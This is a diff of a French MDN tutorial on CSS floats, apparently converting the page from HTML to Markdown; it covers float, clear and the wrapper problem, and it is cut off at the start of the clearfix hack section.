+{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}} -<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}</div> - -<p>À l'origine conçue pour faire flotter des images à l'intérieur d'un bloc de texte, la propriété <a href="/fr/docs/Web/CSS/float" title="The float CSS property specifies that an element should be placed along the left or right side of its container, allowing text and inline elements to wrap around it. The element is removed from the normal flow of the web page, though still remaining a part of the flow (in contrast to absolute positioning)."><code>float</code></a> est devenue un des outils les plus communément utilisés pour créer des dispositions sur plusieurs colonnes dans des pages web. Avec la venue de Flexbox et de Grid, il est maintenant revenu à sa destination initiale, comme l'explique l'article.</p> +À l'origine conçue pour faire flotter des images à l'intérieur d'un bloc de texte, la propriété [`float`](/fr/docs/Web/CSS/float "The float CSS property specifies that an element should be placed along the left or right side of its container, allowing text and inline elements to wrap around it. The element is removed from the normal flow of the web page, though still remaining a part of the flow (in contrast to absolute positioning).") est devenue un des outils les plus communément utilisés pour créer des dispositions sur plusieurs colonnes dans des pages web. Avec la venue de Flexbox et de Grid, il est maintenant revenu à sa destination initiale, comme l'explique l'article. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Les bases du HTML (étudiez <a href="/fr/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a>), et une idée de la manière dont fonctionne CSS (étudiez <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction au CSS</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre comment créer des éntités flottantes dans les pages web, ainsi qu'utiliser la propriété <code>clear</code> et autres méthodes de dégagement des boîtes flottantes.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Les bases du HTML (étudiez + <a href="/fr/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a + >), et une idée de la manière dont fonctionne CSS (étudiez + <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction au CSS</a>.) + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre comment créer des éntités flottantes dans les pages web, ainsi + qu'utiliser la propriété <code>clear</code> et autres méthodes de + dégagement des boîtes flottantes. + </td> + </tr> + </tbody> </table> -<h2 id="Contexte_de_boîtes_flottantes">Contexte de boîtes flottantes</h2> +## Contexte de boîtes flottantes -<p>La propriété <a href="/fr/docs/Web/CSS/float" title="The float CSS property specifies that an element should be placed along the left or right side of its container, allowing text and inline elements to wrap around it. The element is removed from the normal flow of the web page, though still remaining a part of the flow (in contrast to absolute positioning)."><code>float</code></a> a été introduite pour permettre aux développeurs web d'implémenter des dispositions simples comme une image flottant dans une colonne de texte, le texte se développant autour de cette image sur la gauche ou sur la droite. Le genre de choses que vous pourriez avoir dans une mise en page de journal.</p> +La propriété [`float`](/fr/docs/Web/CSS/float "The float CSS property specifies that an element should be placed along the left or right side of its container, allowing text and inline elements to wrap around it. The element is removed from the normal flow of the web page, though still remaining a part of the flow (in contrast to absolute positioning).") a été introduite pour permettre aux développeurs web d'implémenter des dispositions simples comme une image flottant dans une colonne de texte, le texte se développant autour de cette image sur la gauche ou sur la droite. Le genre de choses que vous pourriez avoir dans une mise en page de journal. -<p>Mais les développeurs web se sont vite rendus compte que tout élément pouvait flotter, pas seulement les images, et c'est ainsi que l'utilisation de <code>float</code> s'est élargie. Notre <a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Pseudo-classes_and_pseudo-elements#Active_learning_A_fancy_paragraph">exemple de paragraphe élégant</a> vu plus haut dans le cours montre comment vous pouvez utiliser <code>float</code> pour créer une lettrine.</p> +Mais les développeurs web se sont vite rendus compte que tout élément pouvait flotter, pas seulement les images, et c'est ainsi que l'utilisation de `float` s'est élargie. Notre [exemple de paragraphe élégant](/fr/docs/Learn/CSS/Introduction_to_CSS/Pseudo-classes_and_pseudo-elements#Active_learning_A_fancy_paragraph) vu plus haut dans le cours montre comment vous pouvez utiliser `float` pour créer une lettrine. -<p>Les boîtes flottantes ont été couramment utilisées pour créer des mises en page complètes de sites web avec plusieurs colonnes d'informations flottant les unes à côté des autres (le comportement par défaut est une superposition des contenus, dans le même ordre que dans le code source). De nouvelles techniques de mises en page bien meilleures sont disponibles, nous les avons déjà vues dans ce module, et l'utilisation des boîtes flottantes à cette fin doit être considérée comme une technique du passé.</p> +Les boîtes flottantes ont été couramment utilisées pour créer des mises en page complètes de sites web avec plusieurs colonnes d'informations flottant les unes à côté des autres (le comportement par défaut est une superposition des contenus, dans le même ordre que dans le code source). De nouvelles techniques de mises en page bien meilleures sont disponibles, nous les avons déjà vues dans ce module, et l'utilisation des boîtes flottantes à cette fin doit être considérée comme une technique du passé. -<p>Dans cet article, nous nous limiterons notre exposé à l'utilisation appropriée des boîtes flottantes.</p> +Dans cet article, nous nous limiterons notre exposé à l'utilisation appropriée des boîtes flottantes. -<h2 id="Exemple_simple_de_boîte_flottante">Exemple simple de boîte flottante</h2> +## Exemple simple de boîte flottante -<p>Découvrons comment utiliser les boîtes flottantes. Nous commencerons par un exemple très simple consistant à faire flotter un élément dans un bloc de texte. Vous pouvez suivre cela en créant un nouveau fichier <code>index.html</code> sur votre ordinateur initialisé avec un <a class="external external-icon" href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html" rel="noopener">simple modèle HTML</a> et en y insérant le code ci-dessous à la bonne place. Au bas de ce paragraphe vous pouvez directement voir un exemple en direct de ce à quoi le code final doit ressembler.</p> +Découvrons comment utiliser les boîtes flottantes. Nous commencerons par un exemple très simple consistant à faire flotter un élément dans un bloc de texte. Vous pouvez suivre cela en créant un nouveau fichier `index.html` sur votre ordinateur initialisé avec un [simple modèle HTML](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html) et en y insérant le code ci-dessous à la bonne place. Au bas de ce paragraphe vous pouvez directement voir un exemple en direct de ce à quoi le code final doit ressembler. -<p>Tout d'abord, commençons avec un HTML simple — ajoutez le code ci-dessous dans l'élément <code>body</code> en supprimant tout ce qu'il y avait avant :</p> +Tout d'abord, commençons avec un HTML simple — ajoutez le code ci-dessous dans l'élément `body` en supprimant tout ce qu'il y avait avant : -<pre class="brush: html"><h1>Exemple simple de boîte flottante</h1> +```html +<h1>Exemple simple de boîte flottante</h1> -<img src="butterfly.jpg" alt="Un joli papillon de couleur rouge, blanche et brune sur une grande feuille"> +<img src="butterfly.jpg" alt="Un joli papillon de couleur rouge, blanche et brune sur une grande feuille"> -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p></pre> +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +``` -<p>Maintenant, appliquez la CSS suivante au HTML ci-dessus (avec un élément {{htmlelement("style")}} ou un élément {{htmlelement("link")}} pointant sur un fichier <code>.css</code> séparé — comme vous voulez):</p> +Maintenant, appliquez la CSS suivante au HTML ci-dessus (avec un élément {{htmlelement("style")}} ou un élément {{htmlelement("link")}} pointant sur un fichier `.css` séparé — comme vous voulez): -<pre class="brush: css">body { +```css +body { width: 90%; max-width: 900px; margin: 0 auto; @@ -74,11 +84,13 @@ original_slug: Apprendre/CSS/CSS_layout/Floats border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; -}</pre> +} +``` -<p>Si vous enregistrez et actualisez maintenant, vous verrez quelque chose qui ressemble un peu à ce à quoi vous vous attendiez — la boîte est au-dessus du texte suivant le cours normal de l'affichage. Pour faire flotter l'image dans le texte ajoutez ces deux propriétés à la règle pour <code>.box</code> :</p> +Si vous enregistrez et actualisez maintenant, vous verrez quelque chose qui ressemble un peu à ce à quoi vous vous attendiez — la boîte est au-dessus du texte suivant le cours normal de l'affichage. Pour faire flotter l'image dans le texte ajoutez ces deux propriétés à la règle pour `.box` : -<pre class="brush: css">.box { +```css +.box { float: left; margin-right: 15px; width: 150px; @@ -86,26 +98,29 @@ original_slug: Apprendre/CSS/CSS_layout/Floats border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; -}</pre> +} +``` -<p>Enregistrez et actualisez à nouveau et vous verrez quelque chose comme ce qui suit:</p> +Enregistrez et actualisez à nouveau et vous verrez quelque chose comme ce qui suit: -<h3>Faire flotter la boîte</h3> +### Faire flotter la boîte -<p>Pour faire flotter la boîte, on ajoutera les propriétés {{cssxref("float")}} et {{cssxref("margin-right")}} à la règle ciblant <code>.box</code> :</p> +Pour faire flotter la boîte, on ajoutera les propriétés {{cssxref("float")}} et {{cssxref("margin-right")}} à la règle ciblant `.box` : -<pre class="brush: html hidden"><h1>Exemple simple de boîte flottante</h1> +```html hidden +<h1>Exemple simple de boîte flottante</h1> -<div class="box">Boîte flottante</div> +<div class="box">Boîte flottante</div> -<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> +<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> -<p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +<p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> -</pre> +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +``` -<pre class="brush: css">body { +```css +body { width: 90%; max-width: 900px; margin: 0 auto; @@ -121,38 +136,42 @@ original_slug: Apprendre/CSS/CSS_layout/Floats background-color: rgb(207,232,220); padding: 1em; } -</pre> +``` -<p>{{ EmbedLiveSample('Faire_flotter_la_boîte', '100%', 500) }}</p> +{{ EmbedLiveSample('Faire_flotter_la_boîte', '100%', 500) }} -<p>Voyons comment fonctionne la boîte flottante — l'élément possèdant la propriété <code>float</code> (l'élément <code>box</code> dans notre cas) est retiré du cours normal de la mise en page du document et collé du côté gauche (<code>left</code>) de son conteneur parent ({{htmlelement("body")}}, dans ce cas). Tout contenu disposé après l'élément flottant dans le cours normal de la mise en page (c'est à dire disposé à la suite dans le code source) va maintenant l'envelopper en remplissant l'espace sur sa droite sur toute sa hauteur. Là, ça s'arrête.</p> +Voyons comment fonctionne la boîte flottante — l'élément possèdant la propriété `float` (l'élément `box` dans notre cas) est retiré du cours normal de la mise en page du document et collé du côté gauche (`left`) de son conteneur parent ({{htmlelement("body")}}, dans ce cas). Tout contenu disposé après l'élément flottant dans le cours normal de la mise en page (c'est à dire disposé à la suite dans le code source) va maintenant l'envelopper en remplissant l'espace sur sa droite sur toute sa hauteur. Là, ça s'arrête. -<p>Faire flotter le contenu surla droite a exactement le même effet, mais inversé — l'élément flottant se plaque sur la droite du conteneur et le contenu l'enveloppera en se plaçant à gauche. Donnez la valeur <code>right</code> à la propriété <code>float</code> et remplacez {{cssxref("margin-right")}} par {{cssxref("margin-left")}} dans le dernier jeu de règles, et observez le résultat.</p> +Faire flotter le contenu surla droite a exactement le même effet, mais inversé — l'élément flottant se plaque sur la droite du conteneur et le contenu l'enveloppera en se plaçant à gauche. Donnez la valeur `right` à la propriété `float` et remplacez {{cssxref("margin-right")}} par {{cssxref("margin-left")}} dans le dernier jeu de règles, et observez le résultat. -<p>Ajoutez une classe <code>special</code> au premier paragraphe du texte suivant immédiatement la boîte flottante, puis dans la CSS ajoutez les règles suivantes. Elles donnent à ce paragraphe une couleur de fond.</p> +Ajoutez une classe `special` au premier paragraphe du texte suivant immédiatement la boîte flottante, puis dans la CSS ajoutez les règles suivantes. Elles donnent à ce paragraphe une couleur de fond. -<pre class="brush: css">.special { +```css +.special { background-color: rgb(79,185,227); padding: 10px; color: #fff; } -</pre> +``` -<h3>Visualiser le flottement</h3> +### Visualiser le flottement -<p>Pour mieux visualiser l'effet, modifiez <code>margin-right</code> de la boîte flottante en <code>margin</code> de façon à avoir le même espace tout autour de la boîte flottante. Vous verrez l'arrière-plan du paragraphe juste au dessous de la boîte flottante comme dans l'exemple ci-dessous :</p> +Pour mieux visualiser l'effet, modifiez `margin-right` de la boîte flottante en `margin` de façon à avoir le même espace tout autour de la boîte flottante. Vous verrez l'arrière-plan du paragraphe juste au dessous de la boîte flottante comme dans l'exemple ci-dessous : -<pre class="brush: html hidden"><h1>Exemple simple de boîte flottante</h1> +```html hidden +<h1>Exemple simple de boîte flottante</h1> -<div class="box">Boîte flottante</div> +<div class="box">Boîte flottante</div> -<p class="special">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> +<p class="special">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> -<p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +<p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +``` -<pre class="brush: css">body { +```css +body { width: 90%; max-width: 900px; margin: 0 auto; @@ -174,35 +193,39 @@ original_slug: Apprendre/CSS/CSS_layout/Floats padding: 10px; color: #fff; } -</pre> +``` -<p>{{ EmbedLiveSample('Visualiser_le_flottement', '100%', 500) }}</p> +{{ EmbedLiveSample('Visualiser_le_flottement', '100%', 500) }} -<p>Les lignes du paragraphe suivant la boîte flottante ont été raccourcies pour que le texte entoure cette boîte, mais comme elle a été sortie du cours normal, la boîte du contenu du paragraphe reste sur toute la largeur du conteneur.</p> +Les lignes du paragraphe suivant la boîte flottante ont été raccourcies pour que le texte entoure cette boîte, mais comme elle a été sortie du cours normal, la boîte du contenu du paragraphe reste sur toute la largeur du conteneur. -<h2 id="Dégagement_des_boîtes_flottantes">Dégagement des boîtes flottantes</h2> +## Dégagement des boîtes flottantes -<p>Nous avons vu que la boîte flottante est retirée du cours normal de l'affichage et que les autres éléments se placent à côté, donc si nous voulons empêcher un élément à la suite de remonter pour se placer à côté, nous devons le dégager. Cette opération se réalise à l'aide de la propriété {{cssxref("clear")}}.</p> +Nous avons vu que la boîte flottante est retirée du cours normal de l'affichage et que les autres éléments se placent à côté, donc si nous voulons empêcher un élément à la suite de remonter pour se placer à côté, nous devons le dégager. Cette opération se réalise à l'aide de la propriété {{cssxref("clear")}}. -<p>Dans le HTML de l'exemple précédent, donnez la classe <code>cleared</code> au second paragraphe sous l'élément destiné à être placé à côté de la boîte flottante. Puis, ajoutez ceci à la CSS :</p> +Dans le HTML de l'exemple précédent, donnez la classe `cleared` au second paragraphe sous l'élément destiné à être placé à côté de la boîte flottante. Puis, ajoutez ceci à la CSS : -<pre class="brush: css">.cleared { +```css +.cleared { clear: left; } -</pre> +``` -<pre class="brush: html"><h1>Exemple simple de boîte flottante</h1> +```html +<h1>Exemple simple de boîte flottante</h1> -<div class="box">Boîte flottante</div> +<div class="box">Boîte flottante</div> -<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> +<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> -<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> - </pre> +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> -<pre class="brush: css">body { +``` + +```css +body { width: 90%; max-width: 900px; margin: 0 auto; @@ -222,53 +245,57 @@ original_slug: Apprendre/CSS/CSS_layout/Floats .cleared { clear: left; } -</pre> +``` -<p>{{ EmbedLiveSample('Dégagement_des_boîtes_flottantes', '100%', 600) }}</p> +{{ EmbedLiveSample('Dégagement_des_boîtes_flottantes', '100%', 600) }} -<p>Vous verrez que le paragraphe suivant s'est dégagé de l'élément flottant et ne remonte plus à côté de ce dernier. La propriété <code>clear</code> accepte les valeurs suivantes :</p> +Vous verrez que le paragraphe suivant s'est dégagé de l'élément flottant et ne remonte plus à côté de ce dernier. La propriété `clear` accepte les valeurs suivantes : -<ul> - <li><code>left</code> : dégage les élément à gauche de la boîte flottante.</li> - <li><code>right</code> : dégage les éléments à droite.</li> - <li><code>both </code>: dégage de tous élément flottant, à gauche et à droite.</li> -</ul> +- `left` : dégage les élément à gauche de la boîte flottante. +- `right` : dégage les éléments à droite. +- `both `: dégage de tous élément flottant, à gauche et à droite. -<h2 id="Dégagement_de_boîtes_autour_dune_boîte_flottante">Dégagement de boîtes autour d'une boîte flottante</h2> +## Dégagement de boîtes autour d'une boîte flottante -<p>Vous savez comment dégager quelque chose suivant un élément flottant, mais regardez ce qui arrive si vous avez une boîte flottante de grande hauteur et un paragraphe de texte court dans une boîte enveloppant les deux. Modifiez votre document de sorte que le premier paragraphe et la boîte flottante soient englobés dans un élément {{htmlelement("div")}} de la classe <code>wrapper</code>.</p> +Vous savez comment dégager quelque chose suivant un élément flottant, mais regardez ce qui arrive si vous avez une boîte flottante de grande hauteur et un paragraphe de texte court dans une boîte enveloppant les deux. Modifiez votre document de sorte que le premier paragraphe et la boîte flottante soient englobés dans un élément {{htmlelement("div")}} de la classe `wrapper`. -<pre class="brush: html"><div class="wrapper"> - <div class="box">Boîte flottante</div> +```html +<div class="wrapper"> + <div class="box">Boîte flottante</div> - <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.</p> -</div> -</pre> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.</p> +</div> +``` -<p>Dans la CSS, ajoutez la règle suivante pour la classe <code>.wrapper</code> et actualisez la page :</p> +Dans la CSS, ajoutez la règle suivante pour la classe `.wrapper` et actualisez la page : -<pre class="brush: css">.wrapper { +```css +.wrapper { background-color: rgb(79,185,227); padding: 10px; color: #fff; -}</pre> +} +``` -<h3>Le problème</h3> +### Le problème -<p>Comme dans l'exemple où nous avons mis un arrière‑plan au paragraphe, vous voyez que la couleur d'arrière‑plan s'étale derrière la boîte flottante.</p> +Comme dans l'exemple où nous avons mis un arrière‑plan au paragraphe, vous voyez que la couleur d'arrière‑plan s'étale derrière la boîte flottante. -<pre class="brush: html hidden"><h1>Exemple simple de boîte flottante</h1> -<div class="wrapper"> - <div class="box">Boîte flottante</div> +```html hidden +<h1>Exemple simple de boîte flottante</h1> +<div class="wrapper"> + <div class="box">Boîte flottante</div> - <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> -</div> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> +</div> -<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +``` -<pre class="brush: css">body { +```css +body { width: 90%; max-width: 900px; margin: 0 auto; @@ -290,37 +317,42 @@ original_slug: Apprendre/CSS/CSS_layout/Floats background-color: rgb(207,232,220); padding: 1em; } -</pre> +``` -<p>{{ EmbedLiveSample('Le_problème', '100%', 600) }}</p> +{{ EmbedLiveSample('Le_problème', '100%', 600) }} -<p>Encore une fois, c'est parce que la boîte flottante a été retirée du cours normal de l'affichage. Dégager l'élément suivant ne résout pas ce problème où vous voulez que la boîte d'emballage de l'élément flottant et le contenu textuel , même court, arrive au bas de l'élément flottant. Il y a trois façons possibles de résoudre ce problème, deux fonctionnant avec tous les navigateurs — mais relevant un peu de la débrouille — et une troisième, nouvelle, permettant de faire face à cette situation proprement.</p> +Encore une fois, c'est parce que la boîte flottante a été retirée du cours normal de l'affichage. Dégager l'élément suivant ne résout pas ce problème où vous voulez que la boîte d'emballage de l'élément flottant et le contenu textuel , même court, arrive au bas de l'élément flottant. Il y a trois façons possibles de résoudre ce problème, deux fonctionnant avec tous les navigateurs — mais relevant un peu de la débrouille — et une troisième, nouvelle, permettant de faire face à cette situation proprement. -<h3 id="Le_«_clearfix_hack_»">Le « clearfix hack »</h3> +### Le « clearfix hack » -<p>La façon dont cette situation est traditionnellement traitée consiste à utiliser un procédé connu sous le nom de « clearfix hack » (truc pour déboguer clear). Cela consiste à insérer un contenu après la boîte contenant le flotteur, envelopper le contenu et donner la valeur <code>both</code> à la propriété <code>clear</code>.</p> +La façon dont cette situation est traditionnellement traitée consiste à utiliser un procédé connu sous le nom de « clearfix hack » (truc pour déboguer 